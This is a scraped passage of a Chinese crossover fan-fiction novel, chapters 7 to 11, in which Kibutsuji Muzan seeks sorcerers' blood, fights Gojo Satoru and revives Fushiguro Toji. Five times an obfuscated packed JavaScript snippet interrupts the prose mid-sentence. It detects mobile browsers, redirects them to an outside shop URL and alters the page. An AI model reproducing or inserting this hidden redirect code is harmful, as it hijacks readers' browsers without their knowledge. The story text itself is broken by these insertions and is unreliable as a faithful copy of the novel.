《穿成无惨后拿下了最强》 7. 第 7 章 “能不能不要动我的头发?” 伏黑惠老老实实坐在鬼舞辻无惨腿上,耷拉着一张脸。 是,刺猬头跟别的小孩子的发型一比,确实很特殊。 但能不能不要一直揉啊———— 伏黑惠面无表情,双手交叉在胸前,拒绝和鬼舞辻无惨和解。 “啊——” 下意识又揉了一把。 …… 眼看着面前两个恍若无人的家伙,禅院直哉额头挂上三根黑线。 “喂,我说你们两个,能不能——” 迎着鬼舞辻无惨转来的目光,禅院直哉即将脱口而出的抱怨话在嗓子里转了个弯,揉碎了重组成了别的话。 “……能不能理我一下。” 伏黑惠 & 鬼舞辻无惨:盯———— 禅院直哉从没有像此刻一样坐立难安过。 “所以,你组织好语言了吗?” 禅院直哉浅浅地应了一声,板着脸,只是心里微微有些不服气。 “那么,各位来到此处的目的是?” 禅院直哉:“是为了这个小鬼。” 鬼舞辻无惨用指尖轻轻敲了几下桌面,示意他暂时停下来。 “那么首先,怎么称呼?” “禅院直哉。 禅院家,五条家,加茂家,咒术界势力范围最广,影响力最为突出的三大家族。” 在武力值的强迫下,禅院直哉也是能好好说话的。 “每个家族有其相对应的祖传术式,也是御三家能有如今地位的立身之本。而这个小鬼,继承了禅院家的祖传术式,十种影法术。” “是甚尔让你们来的?”鬼舞辻无惨打断了他,“他和禅院家的关系是什么?” 禅院直哉:“甚尔哥没有咒力,在禅院家看来,是家族的耻辱,后来就离开了禅院家。至于他脱离家族后做了什么,为什么改姓伏黑,这我就不知道了。” 听到半途,伏黑惠扯了扯鬼舞辻无惨的衣领,试探性地开口。 “我好像知道一些。” 伏黑惠回忆起来,坐他对面的禅院直哉几乎要咬碎了一口牙。我勒个丢,连这个小鬼都能打断我的话,我我我…… 我惹不起还忍不起吗? “父亲他说过我的母亲已经去世了,现在是他重组的家庭,伏黑应该是跟着津美纪的妈妈改了姓,不过,我也不知道他为什么要这样做。” “可能是想和禅院家彻底撇清关系吧。” 禅院直哉随口说到。 “那些只知道拿咒力说事的家伙,压根不知道甚尔哥有多强,把他逼走了。但天意弄人,谁都没有想到,一个零咒力和普通女人生的孩子能继承祖传术式。 不管是明面上还是暗地里的规定,继承了祖传术式,未来是一定会继承家主之位的。” 伏黑惠下意识就反驳到:“我不会继承你说的什么家主之位的。” 禅院直哉听着对方脆生生的拒绝的话,蓦地心底怒火涌起,但想着给他撑腰的鬼舞辻无惨,不得不将怒火压下。 深呼吸几次,用带着不甘、愤怒、嘲弄的语气,禅院直哉嘲讽到。 “重要的不是你怎么想,而是那群老头子怎么想。 祖传术式不能流落在外,继不继承家主之位,这不是你一个小鬼能决定的。 哪怕我是少主,也不能违反家族的意志。” “不过……” 禅院直哉偷偷瞄了一眼鬼舞辻无惨,小声嘀咕。 “你现在有这种强者保护着,都可以直接单刷禅院家了好伐……” 想到此处,禅院直哉恨得牙痒痒。 禅院直哉崇拜强者,力量上的强者,伏黑甚尔和面前之人都是如此。 但很可惜,强者向来不会对他有过多的停留。 往前了说,在甚尔哥眼里,他和其他的禅院家的人没什么两样,五条家的那个六眼,好好的少主不当,跑去东京咒术高专当学生。 现在,有这种实力,能单刷禅院家的强者,不费吹灰之力就能夺走他的性命。 这可真是,令人不爽。 禅院直哉那漂亮的面容扭曲了一瞬。 伏黑惠:这人脑子里是在想什么奇奇怪怪的东西吗? 鬼舞辻无惨对禅院直哉的系列言论不想发表任何见解。 弱者就是喜欢用一些无意义的东西区分彼此,门第、等级都是这样,祖传术式又如何? 唯一的价值,就是这份血液足够迷人。 不是吗? “所以,你们家族不会对伏黑惠放手,是吗?” 担心他再度发难,禅院直哉连忙补充到。 “反正在我看来,禅院家没有挑衅你的资本。 但我虽然是少主,真正做决策的还是那些老家伙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406393|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们不可能凭借我的一人之言就放弃祖传术式。 毕竟自从五条家的那个六眼出现后,禅院家一直被压的抬不起头来。 好不容易有个能打破如今僵局的人,他们是绝不会放弃的。” 鬼舞辻无惨细细揣摩了禅院直哉这些话语背后的含义,猛然觉察到那一个既定的事实。 “小鬼,我问你。” 鬼王抬起头,明明没有什么变化,可眸中却散发出某些令人不寒而颤的讯息。 “其他两家,都已出现了祖传术式吗?” 禅院直哉被这股气息压的喘不过气来。 “是,是的。” 迎着鬼舞辻无惨愈发疯狂的神态,禅院直哉心里千百个奇怪发生什么了,老老实实回答。 “继承加茂家的祖传术式的那个小鬼,现在应该和伏黑惠差不多大,目前正在被家主带在身边管教。 五条家的那位,继承了六眼和无下限术式,现在在东京咒术高专上学。” 鬼舞辻无惨喃喃低语。 “东京咒术高专,在哪?” 禅院直哉不甚关注这些,想了想,才说:“离这里还蛮远的,而且,五条悟这段时间应该不在高专。” 鬼舞辻无惨一下又一下地点着桌面,对一切阻拦着自己寻找优质血源的事件感到有些心焦。 “那在哪里。” 禅院直哉:“咒术界给他派了一个任务。 我感觉您对咒术界的运行逻辑与道德观念并不是十分在意,这里长话短说。 他和他的一位同学,需要将一个指定的人,从日本别处护送到东京咒术高专。 这俩人昨天还在冲绳玩。” 禅院直哉摆了摆手,并认为强者有自己的自信是理所应当的。 “不过今天是同化的日子了,他们肯定会回到高专的。” 鬼舞辻无惨笑眯眯地对着已经平静下来的禅院直哉下命令。 “把有关东京咒术高专和五条悟的情报告诉我。 至于你的家族,你还是好好用心,避免他们来送死好了。” 眼见着就要被送客,禅院直哉连忙扯着嗓子问到。 “那个,怎么称呼啊!我跟长老们谈的时候总不能一口一个‘那位大人’吧!” 鬼舞辻无惨有些好笑地看了他一眼。 “无惨。 称呼我无惨就好。” 8. 第 8 章 太阳正当头,绿叶葱葱,随风摇曳。 黑色短发的小孩正专注地站在房屋中央,一遍又一遍地按照老师教授的方法凝练自己的咒力。 这首先是为了这个家族,而后是他的母亲,最后,是他自己。 恍惚间,木质的房门刷的一下被拉开。 加茂宪纪猛地回头看去,只见一个穿着白色西装的青年男人大踏步向他走进来。 他刚想出声呵斥,下一秒,就被坚硬的骨刺勒住了口鼻,疼的他瞬间泪水盈满眼眶。 “嘘——” 鬼舞辻无惨没有动,骨刺自发向后,迅速地关上了门。门外静悄悄的,看守房门的两位二级咒术师失去了踪迹,只有被践踏过的深色草坪,昭示着他们确实曾经存在过 。 “安静一点,我不想闹出大动静。” 加茂宪纪瞪大了眼睛,四肢几乎用不出力气。 鬼舞辻无惨大踏步来到他面前,骨刺顺势往脖颈之下延展,刺入皮肤汲取些许血液。 随后,骨刺被收回,加茂宪纪的身子跌倒到坐垫上,他的脖颈传来一阵刺痛,但伸手去摸,却不见任何血迹。 鬼舞辻无惨居高临下地盯着他,细细感受着刚刚收到的血液。 然后,枚红色的眸子里渐渐染上不耐,四周的温度似乎也因为他的怒意而微微升高。 鬼舞辻无惨嗤笑一声。 “还以为一定能比得上小惠呢,真是无用。” 说罢,他转身就想走。 在他身后,加茂宪纪怒睁着眼,抵着他的威压强硬地开口道。 “你究竟是谁?” 他站在这里,加茂宪纪站在这里,被迫与母亲分开,每日必须苦练咒术。 他所遭遇的一切,都是因为这身天赋。 他弱小,但绝不无用。 “嘁。” 鬼舞辻无惨有些无聊地侧身去看他,想着,反正这御三家他基本上都要得罪个便,也无所谓面对稚子的提问。 “无惨。” “嗯?” “小鬼,你大可以告诉你家的长辈,一个名叫无惨的家伙闯进了你家,吃了人还伤了你。 因为这一切对我而言,都无所谓。” 加茂宪纪抬头,注视着他离开。 “咔”的一声,门被彻底关上。 正午时分,日头正猛。鬼舞辻无惨站在房檐的阴影处,抬头去看天上火红的太阳。 像是千年前的清晨,鬼王伸出手,试探性地去碰那一缕阳光。 略有灼烧感,但皮肤表面并没有出现疤痕,遭到阳光毁坏的细胞较之以往至少少了九成,这种程度的破坏是自愈能力完全足以填补的。 也就是说,如今的太阳,对他而言,已构不成致命的威胁了。 虽说位于阳光底下,他还需要分出一部分实力,去修补阳光带来的侵害,但这种程度的侵害,显然已无法构成威胁了。 真是……畅快至极。 面对此种情况,鬼舞辻无惨早有考量,并且通过研究自己的血、伏黑惠的血和伏黑甚尔的血,他得出了结论。 鬼舞辻无惨的血液之中,除了鬼王本身的细胞组织之外,还混杂着不同咒术师的血液,代表着不同的咒力来源在他的身体里互相争斗,还未得出最终的胜负。 原本,代表伏黑惠咒力的血液占据绝对的优势,但或许是因为年纪太小,天赋还没有完全展露的原因。在他吞噬完那几个从禅院家来的咒术师后,被迫同多个敌人相对抗,优势不复。 他本抱着加茂家的祖传术式,大抵不会差到哪里去的念头,吸收了些许加茂宪纪的血液,不过很可惜,这点咒力在进入鬼舞辻无惨身体的那一刻起,就被狠狠压制住,跳不了半点。 真是可惜。 如今看来,就只剩五条家的那个祖传术式了。 啧,不会比这个还差吧? 鬼舞辻无惨黑着脸,撑开伞向着最终的目标,东京咒术高专走去。 此时此刻,东京咒术高专的地下空间。 薨星宫。 少女的额头被子弹洞穿,带着对自由的憧憬死去。 少年的胸口被利刃破开,怀抱着愧疚与愤怒、悲伤与无力感,昏倒在阴暗的角落。 健壮的男人漫不经心地将咒具收回咒灵的体内,因为不想给自己惹上太多的麻烦,所以离开了此处。让少女还温热的身体被咒灵吞入腹中,如释重负,浑身轻松,离开了宏大却阴暗的地下宫殿。 …… 阳光笼罩下,鲜血为超越之人献舞。 那蝇头、暗红血渍、金属利刃所交杂的,重获新生之人。 阳光在为他喝彩。 鬼舞辻无惨慢悠悠地踏上千级台阶,顺着血腥味的源头上到高专的大门口。 迎接他的,只有满地的血痕、塌陷的地面、折断的树木。 和陌生的、熟悉的气味交杂在一起的味道。 密不透光的黑伞下,鬼舞辻无惨的眸子亮的让人心惊。骨刺仿佛喝醉了一样,颤颤巍巍地靠近,瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406394|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连空气中的血腥气都被一扫而空。 找到他 ! 一定要找到他 ! 无与伦比、无可取代。 他是谁?五条悟吗?还是其他的人? 无论如何,找到他。 鬼舞辻无惨仿佛醉的狠了,大脑东倒西歪,意识却无比清晰。 这里不只发生过一场战斗,有数道不同的气息。 两个女人,三个男人,还有一点恶心的咒灵的味道。 令鬼舞辻无惨感到惊喜的是,这其中,还有熟悉的味道。 伏黑甚尔。 这可太美妙了。 一个干杀手行业的家伙,能和这些正派人士发生什么冲突? 找到伏黑甚尔,也就等同于知晓了这里发生的一切。 至于为什么不去担心一些事情,比如他追求的那人已经被伏黑甚尔杀死了这件事呢? 没必要。 因为此处的血液中,有进化的味道。 …… 黄昏,阳光不算大,但仍旧刺眼,伏黑甚尔将天内理子的尸体交付完成后,成功地拿到了剩下的赏金。 估摸着这些钱又能让他混相当长时间的赌场,伏黑甚尔嗤笑一声,决定先去别的住处避避风头。 但现实往往不如他所料。 或许是棋差一招,又或许是试图去挑衅整个咒术界,他在与五条悟生死战的时候,并没有用天逆鉾刺穿他的脑袋,给了他参悟反转术式的机会。 天与咒缚的全力以赴,试图挑衅整个咒术界的举措,仅仅是作为天才进化的垫脚石。 啊…… 人怎会如此悲哀? 幼时被作为废物驱赶,青年时刻失去毕生挚爱,早已决定无需尊重,只为苟活的野狗,最终因为想要获得尊严而死去。 但无所谓了。 弥留之际,这位咒术界最强正面无表情地询问他,“还有什么想说的吗?” 伏黑甚尔嘲笑一声,像是对自己一生的嘲弄。 “……没有什么想说的了。” 唯一放不下的……是伏黑惠,于是当天与暴君张了张正欲说些什么的时候,突如其来的尖刺,又瞬间刺穿了他的额头。 随之一齐涌来的,是此刻,鬼王那近乎于完美的血液。 “既然你没什么想说的了,那就一边去。” 两人身旁,白色西服的青年男子撑着一把黑伞,漫步而来,衣摆无风自动,伞面的阴影下,是将一切视作猎物的捕食者的视线。 9. 疯子对垒 禅院家的情报网很好用,不下片刻,鬼舞辻无惨就得到了他想要的信息。 伏黑惠也大抵明白了一些,知道了父亲的过去,也知道这几个找麻烦的,也是伏黑甚尔找来的。 五岁的小孩蔫儿吧唧地瘫在椅子上,连那照例挺翘的海胆头都软了不少。 “感觉很意外吗?” 鬼舞辻无惨淡淡开口。 “我不知道……” 伏黑惠瘪了瘪嘴。 “我,对母亲真的一点印象都没有了……想来,大概我是真的很小的时候,她就去世了。后面,父亲就变成了这个样子……我其实挺讨厌他的。” 居无定所、吊儿郎当、必须寄人篱下什么的,都不是重点。 重点是,他不知道怎么把自己当一个人,怎么把别人当一个人。 想来,必然是自幼没有得到平等的人,也学不会用平等待人,终其一生都被困于过去的阴影之中。 伏黑惠:“而且,父亲昨天晚上又明目张胆地溜出去,不知道到哪里去了。你知道他在哪吗?” “我知道,但是……” 但是无所谓,在实验结果得到确认的那一刻,伏黑甚尔就失去了他的价值。 “真的吗?”伏黑惠难得流露出显而易见的高兴的神色,“我想见他,你可以把它带回来吗?” 鬼舞辻无惨凉凉地看了伏黑惠一眼,想着就是顺手的事情,于是乎便答应了下来。 还好来得及时,也多亏了伏黑甚尔体质好,被轰没了半边身子都还能清醒这么久,不然,鬼血可不会对尸体生效。 骨刺在向伏黑甚尔的脑袋上,注入了足够量的鬼血后,便发力把人甩到阴影里,反正鬼血带来的自愈能力足够帮他活下去。 唯一需要注意的就是,伏黑甚尔的血液天然地排斥各种咒力能量,无论其来源是何处,这种特质可能和他天与咒缚的特殊性有关,所以此刻,鬼血中能用于改造他的身体的,只有仅属于鬼王的细胞,在伏黑甚尔被改造成为鬼后,无法利用相关手段突破阳光对鬼的封锁。 简单讲就是,晒了太阳依旧会死。 但无所谓,他只需要带个活着的人回去就好。 五条悟粘着血液与尘埃的天蓝色眼睛,看着伏黑甚尔的身体从他面前被甩到不知名的角落里。 没有阻止,也不必去阻止。 他杀伏黑甚尔的原因,不是为任何人报仇,仅仅是因为之前的战斗中,他输了,但这场战斗又成为促使他领悟反转术式,成为最强的基石。 这场战斗在五条悟看来,不作为宣泄仇恨的举动,因为他并没有怨恨任何人。 仅作为了断因果的最后一举。 在宣告五条悟获胜之后,这人便与他没有任何关系了。 他是默默死去,还是为人所救,都无所谓。 而后,他的目光终于落到鬼舞辻无惨身上。 六眼的咒力监测第一次出现了岔子,因为五条悟难得在一个人的身体里看见多方咒力的混杂,在斗争中交融。 而其中最为强势,占据主导地位的咒力,居然是来自于五条悟本身? 这可真是…… 太有意思了 ! “喂,你这家伙,是为了什么而来?” 五条悟歪着头,瞳孔微微放大。 “是为这家伙报仇?还是想来捡漏的诅咒师?” 无论哪个答案,都很蠢啊 ! 哈哈哈哈—— 鬼舞辻无惨稍稍抬了下伞柄,两人目光交汇,猩红与深蓝的压迫在此刻□□撞在一起。 “都不是。” “哈?” 五条悟狂笑着,右手食指从额头撇过白发,五指深入发丝,和头皮猛烈地摩擦。本就凌乱的发丝闲的更为肆意。 “我为你而来。” 五条悟嗤笑一声,嘴角扬起恶劣的笑。 “你这人叨叨叨地说什么蠢话呢,嗯?” “你觉得我看不见?那种注视着猎物的目光?”五条悟张开手,指向对方,“喂 ! 你这家伙,是确确实实想吃了我吧?” 鬼舞辻无惨的脸上显而易见地出现不满的神色。 “我怎会是那般粗鲁之人。 我对待最为优质的食物,可是满怀热情与诚意的。” “诚意与热情?!” 五条悟捧着脸,急促地喘了几口气。 “希望你被轰碎的时候,还能这样自信啊 !哈哈哈哈————” 鬼舞辻无惨微微皱了皱眉头。 五条悟没有动弹,无下限术式自动运转,在他的脖颈后,锋利的骨刺被迫停在了那里,再也无法前进一步。 “真是的——这可真是太令人困惑了——” “你居然对我的术式一无所知?! ! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406395|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你的自信是从何处而来?” 五条悟抬手,瞬间两发“赫”发射而出。 估算咒力能量,明晰其运动轨迹,随后,数根骨刺齐齐堆叠而出,用纯粹的经过强化的□□力量迎着那两发恐怖的能量源而去。 骨刺瞬间被湮灭,又瞬间再生,一阵白烟与令人恶寒的血肉撕扯声过后,一切能量消失不见。 超强的再生力量,几乎能抵消“赫”带来的毁坏。 这就是他的依仗吗? 五条悟面上近乎于超然,内心仍在准确地分析战局。 他应该没有突破无下限的方法,或者说,这人根本不知道无下限术式的运行逻辑。远处的能量对抗连他的防御都无法突破。 要近身。 弱点在哪里? 脑袋? 还是脖子? 还是说……没有弱点? 鬼舞辻无惨一字一顿,声音冷森。 “真是抱歉,我并不喜欢仰视他人。 所以能否,请你下来呢——” 骨刺疯狂延长,但无一例外,都被无下限挡在了外面。 五条悟轻笑一声,大声喊到:“当然可以,我来了哦 ! ! ! ” 下一秒,空中的人影瞬间消失,又瞬间出现在鬼舞辻无惨身后。 五条悟抓住对方行动的空隙,一拳轰出。 不出意外的,被拦下了。 鬼舞辻无惨猛地回头,脑袋扭过180度,枚红色的眸子中带着明晃晃的恶意和进攻性。随后是手臂骨骼被硬生生拉扯,发出的令人骨头缝发凉的声音。鬼舞辻无惨张开五指,在那一刻突破了无下限,瞬间握住了对方打来的拳头。 而后,从掌心伸出的尖刺,争先恐后地从手指和指头,刺进五条悟的血肉里,疯狂地汲取那令鬼王都战栗的血液。 五条悟眯起眼睛,在尖刺几乎要蔓延至整个手臂的时候,强行让身体之中的咒力爆发,随着“轰”的一声,五条悟后退两步,已经全部被炸毁的右手臂和右边半张脸正在反转术式的运作下逐渐恢复。 而在他的对面,鬼舞辻无惨的上半个身子几乎都被炸了个干净。但0.1秒之间的瞬间,超强的再生能力又让他的躯体恢复如初。 就是上半身的西装已经被彻底炸干净了。 此刻,还停留在现场观战的某位前天与暴君:我靠,这么狠吗。 10. 第 10 章 轻而易举地突破了无下限? 为什么? 没有用到那把特殊的咒具。 那其他的变量呢? 五条悟后退两步,大脑最先修复完全,而完整的六眼在观测对方全身后,得出了结论。 原来如此。 不知道为什么,他的身体内充斥着我的咒力,只要将咒力包裹在□□表面,就能混淆无下限术式的启动。 简单地说,无下限把浑身覆盖着五条悟咒力的鬼舞辻无惨当成了五条悟本身。 咒术怎会阻拦本体呢? “哈哈哈哈——哈哈哈哈哈哈—————————” “对啊,这是为什么呢……这究竟是为什么呢 !!!” “你到底是个什么东西啊————” 几秒后,右臂恢复完全,五条悟使劲握了下拳头,死死盯着优雅不再的鬼舞辻无惨。 他上半身的衣物已经被炸了个干净,重新生长出的身体裸露在傍晚的阳光下。 六眼继续收集情报。 不对劲。 阳光照过的地方,虽然皮肤表面并没有什么变化,但皮下组织却有一定程度的损毁,对方的身体正处于不断损坏又不断被修复的过程中。 所以,弱点是阳光? 真是可惜,太阳要落山了。 鬼舞辻无惨怒睁着眼,身后的骨刺自主浮动,咬牙切齿。 “我确实是对优质的食物有足够包容的耐心。 不过有的时候,食物往往会失去自我认知。 自以为足够强大,蔑视一切。 不过没关系,因为结局只会有一个。” 两人对视一眼,同在对方的眼中看见了决绝的战意。 既然无下限术式没有办法拦住你,不妨试试这样? 五条悟再次向对方俯冲而去,此刻,他的全身上下,本就破烂的粘着血渍的衣物被寸寸崩断,皮肤表面,血肉在不断撕扯、开裂,露出森森白骨。 不对劲。 同样的伎俩,在已知的无用功的情况下,不会出现第二次。 那么,对方这次的出招又是什么? 出于谨慎,鬼舞辻无惨的身子飞速向后倒退而去,与之相对的,数根骨刺向着五条悟的额头、脖子、腹部和双腿夹击而去,但在靠近五条悟身体的那一瞬间,被完全摧毁。 ! ! ! 对方也比想象之中要疯狂的多。 既然阻隔的屏障无法抵挡住自己的进攻,那就以最为纯粹的破坏来应对一切有可能靠近的威胁。 将紊乱的咒术乱流覆盖在皮肤表面,以此作为防护,以攻为守。乱流之所以为乱流,就因为其破坏力无与伦比,哪怕是一层薄薄的隔阂,也足以以摧枯拉朽之势粉碎来犯的一切敌人。 但同时,为了不阻碍身体的各种攻击与运动,所以这层乱流必须足够薄、足够贴近皮肤。 可是,哪怕是将乱流与皮肤的距离控制在理论最远,其散溢出来的咒术能量也足以摧毁特级咒术师的身体防御。 对方的衣服和血肉寸寸崩溃,就是因为这个。 而但凡有一瞬间的操控失误,疯狂的咒术乱流就会吞噬使用者全部的身躯。 这家伙,比鬼舞辻无惨想象之中,还要疯狂啊 ! 哪怕鬼王的恢复能力如此之巨,哪怕五条悟的咒力如海、续航不断,反转术式又能时刻恢复身上的伤口。 但这并不代表两人感觉不到疼痛。 所以,双方都被对方的举措激起了战斗欲,由此引发出的,时间、损失不可估量的最强大战,直到天空微亮、这才停了下来。 四周的环境被破坏殆尽,石碑倒塌、房屋消弭,两人力竭之后齐齐倒在深坑之中。 鬼舞辻无惨面无表情地翻了个身,强打着力气抓过他的手,放在嘴边咬了下去。 慢慢地吸着血,表情放空。 在他旁边,五条悟转着眸子盯着他,和他默契地停战,任由他喝着自己的血。 在四周都安静下来的时候,“咔擦咔擦”的瓜子声就显得十分明显了。 五条悟 & 鬼舞辻无惨:? 大坑的边缘,伏黑甚尔蹲下来,眼睛扫过两人。 半晌,嗤笑一声。 “白斩鸡……” 五条悟:?! ! ! ! ! 五条悟怒:“你觉得自己的肌肉就很优秀吗? 虽然啊确实很优秀……不是 ! 这么大块的肌肉有毛用啊?老子这叫精瘦 ! 精瘦懂不懂?! ! ! 这可是现在在小姑娘里最受欢迎的身体,你以为都像你一样吗?大猩猩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406396|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! ” 鬼舞辻无惨默默喝完血,翻了个白眼,懒洋洋地开口。 “你是弱智吗?别吵。 ” 五条悟:? 我 1 vs 2 ? 真的假的? 五条悟咬牙切齿:“干什么 ! ! ! 你怎么还在啊?!” 伏黑甚尔面无表情地看着眼前咋咋呼呼的人,有些怀疑自己是不是被他弄死过一次了。 咒术界最强是这种性格? 那咒术界岂不是完啦? “我有预感,你俩的战斗会超出我的想象。 今天不看,以后就很难看见了。” 伏黑甚尔吐了口唾沫。 “果然够疯。” 伏黑甚尔指了指天空,不甚在意地问到:“喂,太阳马上就要出来了。话说我不能晒太阳的吧?” 鬼舞辻无惨点点头,刚想起身,然后猛地顿住。 鬼王:凝滞,无语。 “你有多余的衣服吗?” 鬼舞辻无惨黑着脸问到。 “就等着你这句话呢。”伏黑甚尔咧嘴一笑,从咒灵的口中抽出两套衣服。 “扔下来。” 伏黑甚尔伸出一根手指:“一件一百万日元。” ??????????? 鬼舞辻无惨额头上露出几条黑线。 “……上衣,裤子,两件,两百万,知道了。” 伏黑甚尔冲他一笑,扔了件短袖和长裤下去。 “内裤要不要?” “……滚。” 伏黑甚尔看着鬼舞辻无惨从白转黑的脸,放声大笑。 五条悟:“不是,一百万?!!!你这衣服金子织的还是银子织的?什么牌子的?卖这个价? ! ! !” 伏黑甚尔:“地摊货,还沾了咒灵口水的便宜货。五条大少爷既然穿不惯,不如就光着回到家再穿衣服。” 五条悟:啊? “不行!!!啊啊啊啊啊,你到底有多喜欢钱啊?!!!” “要不要,不要我收起来了。” “要要要!别走!” 伏黑甚尔嗤笑一声:“五条少爷应该不会拖欠我衣服钱吧?” 五条悟同样黑脸。 “知道了!会付的!” 11. 第 11 章 “混蛋啊啊啊啊———— 你们两个从哪来的啊 ! ” 鬼舞辻无惨被他喊的太阳穴突突的疼。 “闭嘴,白痴。” 五条悟: ? “哎 ! 不是啊,你俩现在在蹭我的车?是在蹭我的车对吧?” “是是,多谢五条大少爷了。” 伏黑甚尔坐在副驾驶上,一边点头,懒得理他。伸手在咒灵嘴里掏掏掏,把掏出来的刷卡机往后座一递。 “给钱,别赖账。” 五条悟翻了个白眼。 “叫司机给你刷卡啊,我身上东西都被炸干净了,找我有个毛用。”五条悟不耐烦地喊到,“叫你带的卡呢?” 正兢兢业业在驾驶座上开车的五条家成员听见少主在点自己,连忙空出一只手,给一旁的伏黑甚尔递过去一张卡。 “那个,请刷这个就可以了。” 伏黑甚尔顿时喜笑颜开,一把薅过去酷酷刷了三百万。 “你别乱刷奥,三百万就三百万。” “行 ! ” 伏黑甚尔心情好的不行,完事后想把卡扔回去。结果十分熟悉的骨刺再次出现,一下就绕住了半空中的银行卡。 鬼舞辻无惨:“我的三百万,一起刷掉。” 眼见伏黑甚尔挑了挑眉,他补充到:“我没钱。” 潜台词:现在不刷,回去了没钱给你。 他俩坐着自己的车,刷自己的卡,还搁着一唱一和的,五条悟顿时炸毛了,直接伸手把绕着银行卡的骨刺一把抓住,往自己这边扯。 可惜的就是,灵活的骨刺一个转弯,就把银行卡抛给了伏黑甚尔。 伏黑甚尔十分上道,咔一下刷完就把卡重新扔回司机身上。 五条悟:? “啊?你有病啊啊啊啊———— 喝我的血还刷我的卡—————— 可恶啊 ! !你个红眼再生虫 ! ! ” 红眸,再生能力卓越,像虫子一样打不干净、烦人。 鬼舞辻无惨听完这个十分恶心的黑称,嘴角扯起一个冷漠的微笑。 “没有品位的蠢货。” 五条悟:“我受够了啊啊啊————老子要一拳把你轰成渣啊啊啊啊啊————” 鬼舞辻无惨保持冷漠,冷冷的红眸就跟看傻子一样。 “成渣了也能恢复。” 五条悟:大败而归。 “那能不能请你离老子远一点。” 五条悟确实是拿他没法子,咬牙切齿。 “不要。” “为什么 ?!”五条悟疑惑不解地看着他,“你难道还没有放弃把我当做食物吗?” “为什么要放弃。” “因为你打不过我啊 ! ” “哦。”鬼舞辻·冷漠脸·无惨,“所以呢?杀了我?” “有本事现在下车啊?” 鬼舞辻无惨斜着眸子睨了他一眼,勾唇轻笑。 “我啊,向来是觉得,任何的阴谋诡计在绝对的实力前都是一无是处,不必理会。 但面对同个级别的敌人之时,我也不得不承认,诡计之所以为诡计,还是有其不可忽视的作用的。” 五条悟:“比如。” 鬼舞辻无惨喟叹一声,微微放松地靠在椅背上,双腿交叠。 “事实就是,你拿我没主意,没法子彻彻底底将我物理消灭。 但我一不必须进食,二没有弱点,无所畏惧。” “并且……”鬼舞辻无惨向五条悟看去,眸子里是明晃晃的恶意,“你那双眼睛看的出来吗? 我的血能改变他人的体质,能无限制制造仆从,完全听令于我,为我掌控。普通人对我的血液没有半点的抵抗力,最终后果就是被同化,成为茹毛饮血的怪物。 我记得,咒灵这种怪物,是从普通人的负面情绪中形成的吧?所以官方的人不敢告诉民众咒灵的存在,就是害怕这一举动会加剧民众的恐惧心里,以此增添负担。 那么猜猜看,倘若在深夜啃食人肉的怪物确有其事,这群蠢货们,会不会怕呢? 而你们那漏洞百出的咒术师系统,又能不能应对这井喷式暴涨的咒灵数量呢?” 鬼舞辻无惨咧开嘴,无声大笑,面对五条悟阴沉沉的表情,故作关心。 “啊呀,你不会生气了吧? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406397|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >别生气,毕竟,糟糕的心情也是会影响血液的品质的————唔!” 五条悟突然发难,掐着他的脖子,把鬼舞辻无惨的脑袋按在了车窗上。 对方没有躲开,反倒是挑衅地冲他笑起来。 驾驶座和副驾驶上的人陡然感觉到自己知道了些十分危险的东西,对视一眼,非常默契地装聋作哑。 五条悟轻笑一声,收回了手。 “你就祈祷,我不会有找到你弱点的那一天吧。” 鬼舞辻无惨回之以微笑。 